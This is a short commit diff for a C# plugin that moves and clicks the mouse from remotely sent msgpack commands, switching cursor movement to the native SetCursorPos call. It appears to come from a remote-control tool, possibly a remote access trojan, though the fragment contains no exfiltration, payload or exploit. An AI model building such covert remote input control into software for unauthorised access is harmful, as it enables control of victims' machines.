Add native api SetCursorPos for mouse move event

This commit is contained in:
NYAN CAT 2023-10-16 17:19:06 +03:00
parent 5a1da42c76
commit 1df3645b07

View File

@ -38,16 +38,13 @@ namespace Plugin
case "mouseClick":
{
//Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
// Cursor.Position = position;
mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1);
break;
}
case "mouseMove":
{
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
Cursor.Position = position;
SetCursorPos(Convert.ToInt32(unpack_msgpack.ForcePathObject("X").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Y").AsInteger));
break;
}
@ -172,6 +169,9 @@ namespace Plugin
[DllImport("user32.dll")]
static extern bool GetCursorInfo(out CURSORINFO pci);
[DllImport("user32.dll")]
internal static extern bool SetCursorPos(int x, int y);
[DllImport("user32.dll")]
static extern bool DrawIcon(IntPtr hDC, int X, int Y, IntPtr hIcon);
const Int32 CURSOR_SHOWING = 0x00000001;